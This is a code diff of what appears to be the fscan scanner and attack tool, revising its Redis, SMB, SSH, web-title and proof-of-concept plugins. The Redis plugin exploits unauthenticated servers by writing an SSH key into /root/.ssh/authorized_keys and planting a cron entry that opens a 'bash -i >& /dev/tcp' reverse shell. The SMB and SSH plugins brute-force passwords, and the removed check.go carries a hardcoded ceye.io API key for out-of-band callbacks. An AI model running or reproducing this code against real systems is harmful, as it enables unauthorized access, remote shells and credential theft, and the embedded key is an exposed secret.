-	}
+func Expoilt(info *common.HostInfo, realhost string, conn net.Conn) {
+	flagSsh, flagCron := testwrite(conn)
 	if flagSsh == true {
 		result := fmt.Sprintf("Redis:%v like can write /root/.ssh/", realhost)
 		common.LogSuccess(result)
-		if common.RedisFile != "" {
-			writeok, text, err := writekey(conn, common.RedisFile)
-			if err != nil {
-				return err
-			}
-			if writeok {
+		if info.RedisFile != "" {
+			if writeok, text := writekey(conn, info.RedisFile); writeok {
 				result := fmt.Sprintf("%v SSH public key was written successfully", realhost)
 				common.LogSuccess(result)
 			} else {
@@ -104,12 +88,8 @@ func Expoilt(realhost string, conn net.Conn) error {
 	if flagCron == true {
 		result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/", realhost)
 		common.LogSuccess(result)
-		if common.RedisShell != "" {
-			writeok, text, err := writecron(conn, common.RedisShell)
-			if err != nil {
-				return err
-			}
-			if writeok {
+		if info.RedisShell != "" {
+			if writeok, text := writecron(conn, info.RedisShell); writeok {
 				result := fmt.Sprintf("%v /var/spool/cron/root was written successfully", realhost)
 				common.LogSuccess(result)
 			} else {
@@ -117,55 +97,22 @@ func Expoilt(realhost string, conn net.Conn) error {
 			}
 		}
 	}
-	return err
 }
 
-func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
+func writekey(conn net.Conn, filename string) (flag bool, text string) {
 	flag = false
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
-	if err != nil {
-		return flag, text, err
-	}
-	text, err = readreply(conn)
-	if err != nil {
-		return flag, text, err
-	}
+	conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
+	text, _ = readreply(conn)
 	if strings.Contains(text, "OK") {
-		_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
-		if err != nil {
-			return flag, text, err
-		}
-		text, err = readreply(conn)
-		if err != nil {
-			return flag, text, err
-		}
+		conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
+		text, _ = readreply(conn)
 		if strings.Contains(text, "OK") {
-			key, err := Readfile(filename)
-			if err != nil {
-				text = fmt.Sprintf("Open %s error, %v", filename, err)
-				return flag, text, err
-			}
-			if len(key) == 0 {
-				text = fmt.Sprintf("the keyfile %s is empty", filename)
-				return flag, text, err
-			}
-			_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
-			if err != nil {
-				return flag, text, err
-			}
-			text, err = readreply(conn)
-			if err != nil {
-				return flag, text, err
-			}
+			key, _ := Readfile(filename)
+			conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
+			text, _ = readreply(conn)
 			if strings.Contains(text, "OK") {
-				_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
-				if err != nil {
-					return flag, text, err
-				}
-				text, err = readreply(conn)
-				if err != nil {
-					return flag, text, err
-				}
+				conn.Write([]byte(fmt.Sprintf("save\r\n")))
+				text, _ = readreply(conn)
 				if strings.Contains(text, "OK") {
 					flag = true
 				}
@@ -176,64 +123,41 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
 	if len(text) > 50 {
 		text = text[:50]
 	}
-	return flag, text, err
+	return flag, text
 }
 
-func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
+func writecron(conn net.Conn, host string) (flag bool, text string) {
 	flag = false
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
-	if err != nil {
-		return flag, text, err
-	}
-	text, err = readreply(conn)
-	if err != nil {
-		return flag, text, err
-	}
+	conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
+	text, _ = readreply(conn)
 	if strings.Contains(text, "OK") {
-		_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
-		if err != nil {
-			return flag, text, err
-		}
-		text, err = readreply(conn)
-		if err != nil {
-			return flag, text, err
-		}
+		conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
+		text, _ = readreply(conn)
 		if strings.Contains(text, "OK") {
-			scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
-			_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)))
-			if err != nil {
-				return flag, text, err
-			}
-			text, err = readreply(conn)
-			if err != nil {
-				return flag, text, err
-			}
+			scan_ip, scan_port := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
+			conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scan_ip, scan_port)))
+			text, _ = readreply(conn)
 			if strings.Contains(text, "OK") {
-				_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
-				if err != nil {
-					return flag, text, err
-				}
-				text, err = readreply(conn)
-				if err != nil {
-					return flag, text, err
-				}
+				conn.Write([]byte(fmt.Sprintf("save\r\n")))
+				text, _ = readreply(conn)
 				if strings.Contains(text, "OK") {
 					flag = true
-				}
-			}
-		}
-	}
+				} //else {fmt.Println(text)}
+			} //else {fmt.Println(text)}
+		} //else {fmt.Println(text)}
+	} //else {fmt.Println(text)}
 	text = strings.TrimSpace(text)
 	if len(text) > 50 {
 		text = text[:50]
 	}
-	return flag, text, err
+	return flag, text
 }
 
 func Readfile(filename string) (string, error) {
 	file, err := os.Open(filename)
 	if err != nil {
-		return "", err
+		fmt.Println("Open %s error, %v", filename, err)
+		return err.Error(), err
 	}
 	defer file.Close()
 	scanner := bufio.NewScanner(file)
@@ -243,7 +167,7 @@ func Readfile(filename string) (string, error) {
 			return text, nil
 		}
 	}
-	return "", err
+	return err.Error(), err
 }
 
 func readreply(conn net.Conn) (result string, err error) {
@@ -261,29 +185,19 @@ func readreply(conn net.Conn) (result string, err error) {
 	return result, err
 }
 
-func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
+func testwrite(conn net.Conn) (flagSsh bool, flagCron bool) {
+	flagSsh = false
+	flagCron = false
 	var text string
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
-	if err != nil {
-		return flag, flagCron, err
+	conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
+	text, _ = readreply(conn)
+	if strings.Contains(string(text), "OK") {
+		flagSsh = true
 	}
-	text, err = readreply(conn)
-	if err != nil {
-		return flag, flagCron, err
-	}
-	if strings.Contains(text, "OK") {
-		flag = true
-	}
-	_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
-	if err != nil {
-		return flag, flagCron, err
-	}
-	text, err = readreply(conn)
-	if err != nil {
-		return flag, flagCron, err
-	}
-	if strings.Contains(text, "OK") {
+	conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
+	text, _ = readreply(conn)
+	if strings.Contains(string(text), "OK") {
 		flagCron = true
 	}
-	return flag, flagCron, err
+	return flagSsh, flagCron
 }

Plugins/scanner.go

@@ -3,78 +3,19 @@ package Plugins
 import (
 	"errors"
 	"fmt"
-	"github.com/shadow1ng/fscan/common"
 	"reflect"
 	"strconv"
 	"strings"
 	"sync"
+
+	"github.com/shadow1ng/fscan/common"
 )
 
-func Scan(info common.HostInfo) {
-	fmt.Println("scan start")
-	Hosts, _ := common.ParseIP(info.Host, common.HostFile)
-	if common.IsPing == false {
-		Hosts = ICMPRun(Hosts, common.Ping)
-		fmt.Println("icmp alive hosts len is:", len(Hosts))
-	}
-	if info.Scantype == "icmp" {
-		return
-	}
-	AlivePorts := TCPportScan(Hosts, info.Ports, info.Timeout)
-	if info.Scantype == "portscan" {
-		return
-	}
-	var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
-	for _, port := range common.PORTList {
-		severports = append(severports, strconv.Itoa(port))
-	}
-	var ch = make(chan struct{}, common.Threads)
-	var wg = sync.WaitGroup{}
-	for _, targetIP := range AlivePorts {
-		info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
-		if info.Scantype == "all" {
-			if info.Ports == "445" { //scan more vul
-				AddScan("1000001", info, ch, &wg)
-				AddScan("1000002", info, ch, &wg)
-			} else if IsContain(severports, info.Ports) {
-				AddScan(info.Ports, info, ch, &wg)
-			} else {
-				AddScan("1000003", info, ch, &wg) //webtitle
-			}
-		} else {
-			port, _ := common.PortlistBack[info.Scantype]
-			scantype := strconv.Itoa(port)
-			AddScan(scantype, info, ch, &wg)
-		}
-	}
-	wg.Wait()
-	common.WaitSave()
-}
-
-func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
-	wg.Add(1)
-	go func() {
-		err, _ := ScanFunc(PluginList, scantype, &info)
-		if common.LogErr {
-			tmperr := err[0].Interface()
-			if tmperr != nil {
-				tmperr1 := err[0].Interface().(error)
-				errtext := strings.Replace(tmperr1.Error(), "\n", "", -1)
-				fmt.Println("[-] ", info.Host+":"+info.Ports, errtext)
-			}
-		}
-		wg.Done()
-		<-ch
-	}()
-	ch <- struct{}{}
-}
-
-func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
+func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
 	f := reflect.ValueOf(m[name])
 	if len(infos) != f.Type().NumIn() {
-		err = errors.New("The number of infos is not adapted ")
+		err = errors.New("The number of infos is not adapted.")
 		fmt.Println(err.Error())
-		return result, nil
 	}
 	in := make([]reflect.Value, len(infos))
 	for k, info := range infos {
@@ -83,7 +24,6 @@ func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (resu
 	result = f.Call(in)
 	return result, nil
 }
-
 func IsContain(items []string, item string) bool {
 	for _, eachItem := range items {
 		if eachItem == item {
@@ -92,3 +32,50 @@ func IsContain(items []string, item string) bool {
 	}
 	return false
 }
+
+func Scan(info common.HostInfo) {
+	fmt.Println("scan start")
+	Hosts, _ := common.ParseIP(info.Host, info.HostFile)
+	if info.Isping == false {
+		Hosts = ICMPRun(Hosts, info.IcmpThreads, info.Ping)
+		fmt.Println("icmp alive hosts len is:", len(Hosts))
+	}
+	_, AlivePorts := TCPportScan(Hosts, info.Ports, 3) //return AliveHosts,AlivePorts
+	var severports []string                            //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
+	for _, port := range common.PORTList {
+		severports = append(severports, strconv.Itoa(port))
+	}
+	severports1 := []string{"1521"} //no scan these service
+	var ch = make(chan int, info.Threads)
+	var wg = sync.WaitGroup{}
+	var scantype string
+	for _, targetIP := range AlivePorts {
+		scan_ip, scan_port := strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
+		info.Host = scan_ip
+		info.Ports = scan_port
+		if info.Scantype == "all" {
+			if IsContain(severports, scan_port) {
+				AddScan(scan_port, info, ch, &wg)
+			} else {
+				if !IsContain(severports1, scan_port) {
+					AddScan("1000003", info, ch, &wg) //webtitle
+				}
+			}
+			if scan_port == "445" { //scan more vul
+				AddScan("1000001", info, ch, &wg)
+				AddScan("1000002", info, ch, &wg)
+			}
+		} else {
+			port, _ := common.PORTList_bak[info.Scantype]
+			scantype = strconv.Itoa(port)
+			AddScan(scantype, info, ch, &wg)
+		}
+	}
+	wg.Wait()
+}
+
+func AddScan(scantype string, info common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+	wg.Add(1)
+	go scan_func(PluginList, scantype, &info, ch, wg)
+	ch <- 1
+}

Plugins/smb.go

@@ -1,40 +1,35 @@
 package Plugins
 
 import (
+	"context"
 	"fmt"
 	"github.com/shadow1ng/fscan/common"
 	"github.com/stacktitan/smb/smb"
 	"strings"
+	"sync"
 	"time"
 )
 
-func SmbScan(info *common.HostInfo) (tmperr error) {
+func SmbScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+
+Loop:
 	for _, user := range common.Userdict["smb"] {
 		for _, pass := range common.Passwords {
-			pass = strings.Replace(pass, "{user}", user, -1)
+			pass = strings.Replace(pass, "{user}", string(user), -1)
 			flag, err := doWithTimeOut(info, user, pass)
 			if flag == true && err == nil {
-				var result string
-				if info.Domain != "" {
-					result = fmt.Sprintf("SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
-				} else {
-					result = fmt.Sprintf("SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
-				}
-				common.LogSuccess(result)
-				return err
-			} else {
-				errlog := fmt.Sprintf("[-] smb %v %v %v %v %v", info.Host, 445, user, pass, err)
-				common.LogError(errlog)
-				tmperr = err
+				break Loop
 			}
 		}
 	}
-	return tmperr
+	wg.Done()
+	<-ch
+
 }
 
-func SmblConn(info *common.HostInfo, user string, pass string, Domain string, signal chan struct{}) (flag bool, err error) {
+func SmblConn(info *common.HostInfo, user string, pass string, Domain string) (flag bool, err error) {
 	flag = false
-	Host, Username, Password := info.Host, user, pass
+	Host, Port, Username, Password := info.Host, common.PORTList["smb"], user, pass
 	options := smb.Options{
 		Host:        Host,
 		Port:        445,
@@ -46,24 +41,35 @@ func SmblConn(info *common.HostInfo, user string, pass string, Domain string, si
 
 	session, err := smb.NewSession(options, false)
 	if err == nil {
-		session.Close()
+		defer session.Close()
 		if session.IsAuthenticated {
+			var result string
+			if Domain != "" {
+				result = fmt.Sprintf("SMB:%v:%v:%v\\%v %v", Host, Port, Domain, Username, Password)
+			} else {
+				result = fmt.Sprintf("SMB:%v:%v:%v %v", Host, Port, Username, Password)
+			}
+
+			common.LogSuccess(result)
 			flag = true
 		}
 	}
-	signal <- struct{}{}
 	return flag, err
 }
 
 func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
-	signal := make(chan struct{})
+	ctx, cancel := context.WithTimeout(context.Background(), time.Duration(info.Timeout)*time.Second)
+	defer cancel()
+	signal := make(chan int, 1)
 	go func() {
-		flag, err = SmblConn(info, user, pass, info.Domain, signal)
+		flag, err = SmblConn(info, user, pass, info.Domain)
+		signal <- 1
 	}()
+
 	select {
 	case <-signal:
 		return flag, err
-	case <-time.After(time.Duration(info.Timeout) * time.Second):
+	case <-ctx.Done():
 		return false, err
 	}
 }

Plugins/ssh.go

@@ -6,24 +6,23 @@ import (
 	"golang.org/x/crypto/ssh"
 	"net"
 	"strings"
+	"sync"
 	"time"
 )
 
-func SshScan(info *common.HostInfo) (tmperr error) {
+func SshScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
+Loop:
 	for _, user := range common.Userdict["ssh"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", user, -1)
 			flag, err := SshConn(info, user, pass)
 			if flag == true && err == nil {
-				return err
-			} else {
-				errlog := fmt.Sprintf("[-] ssh", info.Host, common.PORTList["ssh"], user, pass, err)
-				common.LogError(errlog)
-				tmperr = err
+				break Loop
 			}
 		}
 	}
-	return tmperr
+	wg.Done()
+	<-ch
 }
 
 func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {

Plugins/webtitle.go

@@ -6,53 +6,35 @@ import (
 	"github.com/shadow1ng/fscan/WebScan"
 	"github.com/shadow1ng/fscan/common"
 	"io/ioutil"
-	"net"
 	"net/http"
 	"regexp"
-	"strings"
+	"sync"
 	"time"
 )
 
-func WebTitle(info *common.HostInfo) (err error, result string) {
-	if info.Ports == "80" {
-		info.Url = fmt.Sprintf("http://%s", info.Host)
-	} else if info.Ports == "443" {
-		info.Url = fmt.Sprintf("https://%s", info.Host)
-	} else {
-		info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
-	}
-
+func WebTitle(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) (err error, result string) {
+	info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
 	err, result = geturl(info)
-	if common.IsWebCan || err != nil {
-		return
-	}
-
-	if result == "https" {
-		err, result = geturl(info)
-		if err == nil {
-			WebScan.WebScan(info)
-		}
-	} else {
+	if err == nil && info.IsWebCan == false {
 		WebScan.WebScan(info)
 	}
+
+	info.Url = fmt.Sprintf("https://%s:%s", info.Host, info.Ports)
+	err, result = geturl(info)
+	if err == nil && info.IsWebCan == false {
+		WebScan.WebScan(info)
+	}
+
+	wg.Done()
+	<-ch
 	return err, result
 }
 
 func geturl(info *common.HostInfo) (err error, result string) {
 	url := info.Url
 	tr := &http.Transport{
-		TLSClientConfig:   &tls.Config{InsecureSkipVerify: true},
-		DisableKeepAlives: false,
-		DialContext: (&net.Dialer{
-			Timeout:   time.Duration(info.WebTimeout) * time.Second,
-			KeepAlive: time.Duration(info.WebTimeout+3) * time.Second,
-		}).DialContext,
-		MaxIdleConns:        1000,
-		MaxIdleConnsPerHost: 1000,
-		IdleConnTimeout:     time.Duration(info.WebTimeout+3) * time.Second,
-		TLSHandshakeTimeout: 5 * time.Second,
+		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
 	}
-
 	var client = &http.Client{Timeout: time.Duration(info.WebTimeout) * time.Second, Transport: tr}
 	res, err := http.NewRequest("GET", url, nil)
 	if err == nil {
@@ -70,18 +52,14 @@ func geturl(info *common.HostInfo) (err error, result string) {
 			find := re.FindAllStringSubmatch(string(body), -1)
 			if len(find) > 0 {
 				title = find[0][1]
-				if len(title) > 100 {
-					title = title[:100]
-				}
 			} else {
 				title = "None"
 			}
-			result = fmt.Sprintf("WebTitle:%-25v %-3v %v", url, resp.StatusCode, title)
-			common.LogSuccess(result)
-			if resp.StatusCode == 400 && info.Url[:5] != "https" {
-				info.Url = strings.Replace(info.Url, "http://", "https://", 1)
-				return err, "https"
+			if len(title) > 50 {
+				title = title[:50]
 			}
+			result = fmt.Sprintf("WebTitle:%v %v %v", url, resp.StatusCode, title)
+			common.LogSuccess(result)
 			return err, result
 		}
 		return err, ""

README.md

@@ -14,8 +14,6 @@
    因为用习惯了f-scrack，习惯一条命令跑完所有模块，省去一个个模块单独调用的时间，当然我附加了-m 指定模块的功能。
 
 ## 最近更新
-[+] 2021/2/5 修改icmp发包模式,更适合大规模探测。   
-   修改报错提示,-debug时,如果10秒内没有新的进展,每隔10秒就会打印一下当前进度    
 [+] 2020/12/12 已加入yaml解析引擎,支持xray的Poc,默认使用所有Poc(已对xray的poc进行了筛选),可以使用-pocname weblogic,只使用某种或某个poc。需要go版本1.16以上,只能自行编译最新版go来进行测试    
 [+] 2020/12/6 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户)  
 [+] 2020/12/03 优化ip段处理模块、icmp、端口扫描模块。新增支持192.168.1.1-192.168.255.255。  

WebScan/WebScan.go

@@ -2,7 +2,6 @@ package WebScan
 
 import (
 	"embed"
-	"fmt"
 	"github.com/shadow1ng/fscan/WebScan/lib"
 	"github.com/shadow1ng/fscan/common"
 	"net/http"
@@ -13,12 +12,8 @@ import (
 var Pocs embed.FS
 
 func WebScan(info *common.HostInfo) {
-	var pocinfo = common.Pocinfo
-	pocinfo.Target = info.Url
-	err := Execute(pocinfo)
-	if err != nil && common.LogErr {
-		fmt.Println(info.Url, err)
-	}
+	info.PocInfo.Target = info.Url
+	Execute(info.PocInfo)
 }
 
 func Execute(PocInfo common.PocInfo) error {
@@ -28,14 +23,15 @@ func Execute(PocInfo common.PocInfo) error {
 		return err
 	}
 	req, err := http.NewRequest("GET", PocInfo.Target, nil)
+	req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
 	if err != nil {
 		return err
 	}
-	req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
 	if PocInfo.Cookie != "" {
 		req.Header.Set("Cookie", PocInfo.Cookie)
 	}
 
+	//PocInfo.PocName = "weblogic-cve-2017-10271.yml"
 	if PocInfo.PocName != "" {
 		lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
 	} else {

WebScan/lib/check.go

@@ -1,206 +0,0 @@
-package lib
-
-import (
-	"embed"
-	"fmt"
-	"github.com/shadow1ng/fscan/common"
-	"math/rand"
-	"net/http"
-	"net/url"
-	"regexp"
-	"sort"
-	"strings"
-	"sync"
-	"time"
-)
-
-var (
-	ceyeApi    = "a78a1cb49d91fe09e01876078d1868b2"
-	ceyeDomain = "7wtusr.ceye.io"
-)
-
-type Task struct {
-	Req *http.Request
-	Poc *Poc
-}
-
-func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string) {
-	tasks := make(chan Task)
-	var wg sync.WaitGroup
-	for i := 0; i < workers; i++ {
-		go func() {
-			wg.Add(1)
-			for task := range tasks {
-				isVul, err := executePoc(task.Req, task.Poc)
-				if err != nil {
-					continue
-				}
-				if isVul {
-					result := fmt.Sprintf("%s %s", task.Req.URL, task.Poc.Name)
-					common.LogSuccess(result)
-				}
-			}
-			wg.Done()
-		}()
-	}
-	for _, poc := range LoadMultiPoc(Pocs, pocname) {
-		task := Task{
-			Req: req,
-			Poc: poc,
-		}
-		tasks <- task
-	}
-	close(tasks)
-	wg.Wait()
-}
-
-func executePoc(oReq *http.Request, p *Poc) (bool, error) {
-	c := NewEnvOption()
-	c.UpdateCompileOptions(p.Set)
-	env, err := NewEnv(&c)
-	if err != nil {
-		fmt.Println("environment creation error: %s\n", err)
-		return false, err
-	}
-	variableMap := make(map[string]interface{})
-	req, err := ParseRequest(oReq)
-	if err != nil {
-		//fmt.Println(err)
-		return false, err
-	}
-	variableMap["request"] = req
-
-	// 现在假定set中payload作为最后产出，那么先排序解析其他的自定义变量，更新map[string]interface{}后再来解析payload
-	keys := make([]string, 0)
-	for k := range p.Set {
-		keys = append(keys, k)
-	}
-	sort.Strings(keys)
-
-	for _, k := range keys {
-		expression := p.Set[k]
-		if k != "payload" {
-			if expression == "newReverse()" {
-				variableMap[k] = newReverse()
-				continue
-			}
-			out, err := Evaluate(env, expression, variableMap)
-			if err != nil {
-				//fmt.Println(err)
-				continue
-			}
-			switch value := out.Value().(type) {
-			case *UrlType:
-				variableMap[k] = UrlTypeToString(value)
-			case int64:
-				variableMap[k] = int(value)
-			default:
-				variableMap[k] = fmt.Sprintf("%v", out)
-			}
-		}
-	}
-
-	if p.Set["payload"] != "" {
-		out, err := Evaluate(env, p.Set["payload"], variableMap)
-		if err != nil {
-			return false, err
-		}
-		variableMap["payload"] = fmt.Sprintf("%v", out)
-	}
-
-	success := false
-	for _, rule := range p.Rules {
-		for k1, v1 := range variableMap {
-			_, isMap := v1.(map[string]string)
-			if isMap {
-				continue
-			}
-			value := fmt.Sprintf("%v", v1)
-			for k2, v2 := range rule.Headers {
-				rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
-			}
-			rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
-			rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
-		}
-
-		if oReq.URL.Path != "" && oReq.URL.Path != "/" {
-			req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
-		} else {
-			req.Url.Path = rule.Path
-		}
-		// 某些poc没有区分path和query，需要处理
-		req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
-		req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
-
-		newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
-		newRequest.Header = oReq.Header.Clone()
-		for k, v := range rule.Headers {
-			newRequest.Header.Set(k, v)
-		}
-		resp, err := DoRequest(newRequest, rule.FollowRedirects)
-		if err != nil {
-			return false, err
-		}
-		variableMap["response"] = resp
-		// 先判断响应页面是否匹配search规则
-		if rule.Search != "" {
-			result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
-			if result != nil && len(result) > 0 { // 正则匹配成功
-				for k, v := range result {
-					variableMap[k] = v
-				}
-				//return false, nil
-			} else {
-				return false, nil
-			}
-		}
-
-		out, err := Evaluate(env, rule.Expression, variableMap)
-		if err != nil {
-			return false, err
-		}
-		//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
-		if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
-			success = false // 如果最后一步执行失败，就算前面成功了最终依旧是失败
-			break
-		}
-		success = true
-	}
-	return success, nil
-}
-
-func doSearch(re string, body string) map[string]string {
-	r, err := regexp.Compile(re)
-	if err != nil {
-		return nil
-	}
-	result := r.FindStringSubmatch(body)
-	names := r.SubexpNames()
-	if len(result) > 1 && len(names) > 1 {
-		paramsMap := make(map[string]string)
-		for i, name := range names {
-			if i > 0 && i <= len(result) {
-				paramsMap[name] = result[i]
-			}
-		}
-		return paramsMap
-	}
-	return nil
-}
-
-func newReverse() *Reverse {
-	letters := "1234567890abcdefghijklmnopqrstuvwxyz"
-	randSource := rand.New(rand.NewSource(time.Now().Unix()))
-	sub := RandomStr(randSource, letters, 8)
-	if ceyeDomain == "" {
-		return &Reverse{}
-	}
-	urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
-	u, _ := url.Parse(urlStr)
-	return &Reverse{
-		Url:                ParseUrl(u),
-		Domain:             u.Hostname(),
-		Ip:                 "",
-		IsDomainNameServer: false,
-	}
-}

WebScan/lib/eval.go

@@ -1,469 +0,0 @@
-package lib
-
-import (
-	"bytes"
-	"crypto/md5"
-	"encoding/base64"
-	"fmt"
-	"github.com/google/cel-go/cel"
-	"github.com/google/cel-go/checker/decls"
-	"github.com/google/cel-go/common/types"
-	"github.com/google/cel-go/common/types/ref"
-	"github.com/google/cel-go/interpreter/functions"
-	exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
-	"math/rand"
-	"net/http"
-	"net/url"
-	"regexp"
-	"strings"
-	"time"
-)
-
-func NewEnv(c *CustomLib) (*cel.Env, error) {
-	return cel.NewEnv(cel.Lib(c))
-}
-
-func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
-	ast, iss := env.Compile(expression)
-	if iss.Err() != nil {
-		//fmt.Println("compile: ", iss.Err())
-		return nil, iss.Err()
-	}
-
-	prg, err := env.Program(ast)
-	if err != nil {
-		//fmt.Println("Program creation error: %v", err)
-		return nil, err
-	}
-
-	out, _, err := prg.Eval(params)
-	if err != nil {
-		//fmt.Println("Evaluation error: %v", err)
-		return nil, err
-	}
-	return out, nil
-}
-
-func UrlTypeToString(u *UrlType) string {
-	var buf strings.Builder
-	if u.Scheme != "" {
-		buf.WriteString(u.Scheme)
-		buf.WriteByte(':')
-	}
-	if u.Scheme != "" || u.Host != "" {
-		if u.Host != "" || u.Path != "" {
-			buf.WriteString("//")
-		}
-		if h := u.Host; h != "" {
-			buf.WriteString(u.Host)
-		}
-	}
-	path := u.Path
-	if path != "" && path[0] != '/' && u.Host != "" {
-		buf.WriteByte('/')
-	}
-	if buf.Len() == 0 {
-		if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
-			buf.WriteString("./")
-		}
-	}
-	buf.WriteString(path)
-
-	if u.Query != "" {
-		buf.WriteByte('?')
-		buf.WriteString(u.Query)
-	}
-	if u.Fragment != "" {
-		buf.WriteByte('#')
-		buf.WriteString(u.Fragment)
-	}
-	return buf.String()
-}
-
-type CustomLib struct {
-	envOptions     []cel.EnvOption
-	programOptions []cel.ProgramOption
-}
-
-func NewEnvOption() CustomLib {
-	c := CustomLib{}
-
-	c.envOptions = []cel.EnvOption{
-		cel.Container("lib"),
-		cel.Types(
-			&UrlType{},
-			&Request{},
-			&Response{},
-			&Reverse{},
-		),
-		cel.Declarations(
-			decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
-			decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
-			//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
-		),
-		cel.Declarations(
-			// functions
-			decls.NewFunction("bcontains",
-				decls.NewInstanceOverload("bytes_bcontains_bytes",
-					[]*exprpb.Type{decls.Bytes, decls.Bytes},
-					decls.Bool)),
-			decls.NewFunction("bmatches",
-				decls.NewInstanceOverload("string_bmatches_bytes",
-					[]*exprpb.Type{decls.String, decls.Bytes},
-					decls.Bool)),
-			decls.NewFunction("md5",
-				decls.NewOverload("md5_string",
-					[]*exprpb.Type{decls.String},
-					decls.String)),
-			decls.NewFunction("randomInt",
-				decls.NewOverload("randomInt_int_int",
-					[]*exprpb.Type{decls.Int, decls.Int},
-					decls.Int)),
-			decls.NewFunction("randomLowercase",
-				decls.NewOverload("randomLowercase_int",
-					[]*exprpb.Type{decls.Int},
-					decls.String)),
-			decls.NewFunction("base64",
-				decls.NewOverload("base64_string",
-					[]*exprpb.Type{decls.String},
-					decls.String)),
-			decls.NewFunction("base64",
-				decls.NewOverload("base64_bytes",
-					[]*exprpb.Type{decls.Bytes},
-					decls.String)),
-			decls.NewFunction("base64Decode",
-				decls.NewOverload("base64Decode_string",
-					[]*exprpb.Type{decls.String},
-					decls.String)),
-			decls.NewFunction("base64Decode",
-				decls.NewOverload("base64Decode_bytes",
-					[]*exprpb.Type{decls.Bytes},
-					decls.String)),
-			decls.NewFunction("urlencode",
-				decls.NewOverload("urlencode_string",
-					[]*exprpb.Type{decls.String},
-					decls.String)),
-			decls.NewFunction("urlencode",
-				decls.NewOverload("urlencode_bytes",
-					[]*exprpb.Type{decls.Bytes},
-					decls.String)),
-			decls.NewFunction("urldecode",
